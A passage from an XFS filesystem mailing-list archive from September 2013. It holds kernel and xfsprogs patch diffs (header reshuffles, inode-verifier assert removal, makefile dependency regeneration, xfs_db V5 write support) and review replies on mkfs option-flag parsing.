b/fs/xfs/xfs_iops.c index ff54ea9..5f39e63 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -27,6 +27,7 @@ #include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" @@ -42,7 +43,6 @@ #include "xfs_icache.h" #include "xfs_symlink.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2_priv.h" #include diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 908478b..078f25e 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" @@ -50,7 +51,6 @@ /* Need all the magic numbers and buffer ops structures from these headers */ #include "xfs_symlink.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index 0961310..e598bb5 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -23,6 +23,7 @@ #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_trans_space.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 9515f96..170e729 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -27,8 +27,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index a5b59d9..ed2b3c6 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -26,8 +26,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 45befbe..b49a891 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -27,6 +27,7 @@ #include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" @@ -45,7 +46,6 @@ #include "xfs_trans_priv.h" #include "xfs_filestream.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_extfree_item.h" #include "xfs_mru_cache.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 8df7144..73a06f9 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -26,8 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index 2970539..6ca9920 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -23,13 +23,14 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" -#include "xfs_mount.h" #include "xfs_da_btree.h" #include "xfs_ialloc.h" #include "xfs_itable.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 3693ce2..06000a9 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -26,7 +26,7 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_error.h" -#include "xfs_da_btree.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index b5d952d..cc83612 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index e01f35e..0804750 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -18,7 +18,12 @@ #include "xfs.h" #include "xfs_log_format.h" -#include "xfs_da_btree.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_attr.h" -- 1.8.3.2 From sandeen@sandeen.net Sun Sep 29 22:14:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75B877F5E for ; Sun, 29 Sep 2013 22:14:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5EDEA304032 for ; Sun, 29 Sep 2013 20:14:50 -0700 (PDT) X-ASG-Debug-ID: 1380510889-04cb6c350121cf10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Nv7zdHko7DZuPxAV for ; Sun, 29 Sep 2013 20:14:49 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C70776AD529F; Sun, 29 Sep 2013 22:14:48 -0500 (CDT) Message-ID: <5248ECAA.1010506@sandeen.net> Date: Sun, 29 Sep 2013 22:14:50 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Li Zhong CC: Dave Chinner , xfsprogs Subject: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> <1380445971.3811.14.camel@ThinkPad-T5421> <20130929230638.GG26872@dastard> <1380510260.2985.4.camel@ThinkPad-T5421> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs In-Reply-To: <1380510260.2985.4.camel@ThinkPad-T5421> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380510889 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/29/13 10:04 PM, Li Zhong wrote: > On Mon, 2013-09-30 at 09:06 +1000, Dave Chinner wrote: >> On Sun, Sep 29, 2013 at 05:12:51PM +0800, Li Zhong wrote: >>> As Eric suggested, we could set both of the size/log flags after we have >>> parsed the options - and from there on it simply means "manually set". >>> >>> After that, we could use just one flag, e.g. *sflag, to check whether >>> the corresponding value is manually set or not. >> >> It's a start, but I'm not sure that it is an improvement or not. >> i.e. you're adding yet another piece of logic to the already >> tortured argument parsing and flag setting. >> >> This could be done in the argument parsing itself, without needing >> separate post-processing code. e.g. changing the parsing code like >> so: >> >> case N_LOG: >> if (!value || *value == '\0') >> reqval('n', nopts, N_LOG); >> - if (nlflag) >> + if (nlflag > 1) >> respec('n', nopts, N_LOG); >> if (nsflag) >> conflict('n', nopts, N_SIZE, >> N_LOG); >> + nlflag = 2; >> dirblocklog = atoi(value); >> if (dirblocklog <= 0) >> illegal(value, "n log"); >> + nsflag = 1; >> dirblocksize = 1 << dirblocklog; >> - nlflag = 1; >> break; >> >> Would acheive exactly the same thing - i.e. >> a value of 1 means it was initialised, a value of 2 means it was a >> command line parameter... >> >> This means the code checks can be cleaned up as you have done, but >> we don't need a separate post-processing step for the arguments to >> set flags that weren't set... > > Thank you for the suggestion, I will try this approach. > I think It could also preserve the information which suboption is used > actually in the command line through the main() function, though it > seems not needed currently. sounds good to me too; just watch out for the conflict/respec stuff to be sure it all still works... I wasn't super happy with my suggestion after I made it, I guess. :) -Eric > Thanks, Zhong >> >> >>> Signed-off-by: Li Zhong >>> --- >>> mkfs/xfs_mkfs.c | 29 ++++++++++++++++++++++------- >>> 1 file changed, 22 insertions(+), 7 deletions(-) >>> >>> diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c >>> index 34bf2ff..aa3f391 100644 >>> --- a/mkfs/xfs_mkfs.c >>> +++ b/mkfs/xfs_mkfs.c >>> @@ -1667,11 +1667,26 @@ main( >>> dfile = xi.dname; >>> >>> /* >>> + * Later code wants to know if the user manually set a value. >>> + * There are two ways to specify on the cmdline; as size or as a log. >>> + * if either was used, set both flags - from here on it simply means >>> + * "manually set" >>> + */ >>> + if (bsflag || blflag) >>> + bsflag = blflag = 1; >>> + if (ssflag || slflag) >>> + ssflag = slflag = 1; >>> + if (isflag || ilflag) >>> + isflag = ilflag = 1; >>> + if (nsflag || nlflag) >>> + nsflag = nlflag = 1; >> >> You missed the log sector size/log flags. >> >> Cheers, >> >> Dave. > > From dave@fromorbit.com Sun Sep 29 22:15:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D21EE7F5E for ; Sun, 29 Sep 2013 22:15:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 60999AC001 for ; Sun, 29 Sep 2013 20:15:50 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 6xxS7yyF0EU04YmK for ; Sun, 29 Sep 2013 20:15:48 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMj26EDAOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Om-UO for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FU-Th for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 06/32] xfs: don't assert fail on bad inode numbers Date: Mon, 30 Sep 2013 13:15:18 +1000 X-ASG-Orig-Subj: [PATCH 06/32] xfs: don't assert fail on bad inode numbers Message-Id: <1380510944-8571-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510948 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Let the inode verifier do it's work by returning an error when we fail to find correct magic numbers in an inode buffer. Signed-off-by: Dave Chinner --- libxfs/xfs_inode_buf.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 6205318..b096f77 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -39,9 +39,8 @@ xfs_inobp_check( i * mp->m_sb.sb_inodesize); if (!dip->di_next_unlinked) { xfs_alert(mp, - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", - bp); - ASSERT(dip->di_next_unlinked); + "Detected bogus zero next_unlinked field in inode %d buffer 0x%llx.", + i, (long long)bp->b_bn); } } } @@ -74,11 +73,10 @@ xfs_inode_buf_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, mp, dip); #ifdef DEBUG - xfs_emerg(mp, + xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", (unsigned long long)bp->b_bn, i, be16_to_cpu(dip->di_magic)); - ASSERT(0); #endif } } -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 812E47F5E for ; Sun, 29 Sep 2013 22:15:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 649C78F8035 for ; Sun, 29 Sep 2013 20:15:51 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dPSDlV9W7B1KS2D1 for ; Sun, 29 Sep 2013 20:15:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBVYzCBgxOQMbGYgFvAyPboQMA6l4gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Oh-RL for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002F5-Qu for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/32] xfsprogs: fix automatic dependency generation Date: Mon, 30 Sep 2013 13:15:13 +1000 X-ASG-Orig-Subj: [PATCH 01/32] xfsprogs: fix automatic dependency generation Message-Id: <1380510944-8571-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510949 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Adding are removing a header file does not result in dependency regeneration like it should. make clean will rebuild the dependencies, but a normal make won't. Fix it. Signed-off-by: Dave Chinner --- include/buildrules | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/include/buildrules b/include/buildrules index 49cb2a4..edb1beb 100644 --- a/include/buildrules +++ b/include/buildrules @@ -79,18 +79,30 @@ endif # _BUILDRULES_INCLUDED_ $(_FORCE): # dependency build is automatic, relies on gcc -MM to generate. +# +# This is a bit messy. It regenerates the depenencies on each build so +# that we catch files being added and removed. There are other ways of doing +# this (e.g. per-file dependency files) but that requires more in-depth changes +# to the build system. Compile time is not an issue for us, so the +# rebuild on every make invocation isn't a problem we need to care about. Just +# do it silently so it doesn't make the build unnecessarily noisy. + .PHONY : depend ltdepend install-qa MAKEDEP := $(MAKEDEPEND) $(CFLAGS) -ltdepend: .ltdep +ltdepend: rmltdep .ltdep + +rmltdep: + @rm -f .ltdep .ltdep: $(CFILES) $(HFILES) - @echo " [LTDEP]" $(Q)$(MAKEDEP) $(CFILES) | $(SED) -e 's,^\([^:]*\)\.o,\1.lo,' > .ltdep -depend: .dep +depend: rmdep .dep + +rmdep: + @rm -f .dep .dep: $(CFILES) $(HFILES) - @echo " [DEP]" $(Q)$(MAKEDEP) $(CFILES) > .dep -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9FEBE7F60 for ; Sun, 29 Sep 2013 22:15:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 822A18F8039 for ; Sun, 29 Sep 2013 20:15:51 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IJzWCSCRRR2a6mGZ for ; Sun, 29 Sep 2013 20:15:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMjgaBaIQMA6l4gzYqgSw Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Oj-SP for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FF-Rq for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/32] xfs: fix some minor sparse warnings Date: Mon, 30 Sep 2013 13:15:15 +1000 X-ASG-Orig-Subj: [PATCH 03/32] xfs: fix some minor sparse warnings Message-Id: <1380510944-8571-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510949 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner A couple of simple locking annotations and 0 vs NULL warnings. Nothing that changes any code behaviour, just removes build noise. Signed-off-by: Dave Chinner --- libxfs/xfs_bmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 2d480cc..7336abf 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -4415,7 +4415,7 @@ xfs_bmapi_write( { struct xfs_mount *mp = ip->i_mount; struct xfs_ifork *ifp; - struct xfs_bmalloca bma = { 0 }; /* args for xfs_bmap_alloc */ + struct xfs_bmalloca bma = { NULL }; /* args for xfs_bmap_alloc */ xfs_fileoff_t end; /* end of mapped file region */ int eof; /* after the end of extents */ int error; /* error return */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A5E197F7C for ; Sun, 29 Sep 2013 22:15:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71BD5304053 for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-ASG-Debug-ID: 1380510948-04cb6c153d159b780003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ZYGUcZG8SdYRSsLr for ; Sun, 29 Sep 2013 20:15:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SDAjuBAgOIOZp+oQ6PboQMA6I4h0CDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Og-R5 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002F2-Qc for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/32] xfsprogs: V5 write support for xfs_db Date: Mon, 30 Sep 2013 13:15:12 +1000 X-ASG-Orig-Subj: [PATCH 00/32] xfsprogs: V5 write support for xfs_db Message-Id: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510950 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, This patch set builds on 3.2.0-alpha1, and brings full v5 filesystem support to xfs_db, including xfs_metadump. xfs_check is still not supported, though that is not a major issue at this point as it is deprecated. The first part of the patch series fixes a couple of minor bugs, followed by syncing up with the kernel code to match the series I just posted for 3.13. This is necessary for CRC support in xfs_db. The rest of the series is converting xfs_db to libxfs for it's IO engine and sorting out all the issues that this conversion uncovers. It then enables CRC verification and calculation, and with that done re-enables write support for v5 filesystems. The final patches enable large inode clusters on v5 filesytems, and remove the experimental warning from the v5 superblock verification. This last change was made so that we no longer have noise hiding test failures and is based on the premise that when we release 3.2.0 the v5 filesystem support in xfsprogs will no longer be experimental - it will be fully supported for production systems. Killing the output now allows us to see real failures instead of noise.... Comments, thoughts, and flames welcome. Cheers, Dave. From dave@fromorbit.com Sun Sep 29 22:15:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C0B0C7F85 for ; Sun, 29 Sep 2013 22:15:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97EC2304059 for ; Sun, 29 Sep 2013 20:15:52 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IPlNG0qGMkmdOLHe for ; Sun, 29 Sep 2013 20:15:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AiURAIfsSFJ5LCC0/2dsb2JhbABagwc4rH4DQJUrF3SCJQEBBScvMwgYMTkDGxmIBbwMj26EDAOZLokKh0CDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxZ-0006Oi-Rw for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxZ-0002FA-RD for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:45 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/32] libxfs: fix missing filetype updates to xfs_dir2.c Date: Mon, 30 Sep 2013 13:15:14 +1000 X-ASG-Orig-Subj: [PATCH 02/32] libxfs: fix missing filetype updates to xfs_dir2.c Message-Id: <1380510944-8571-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510950 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: 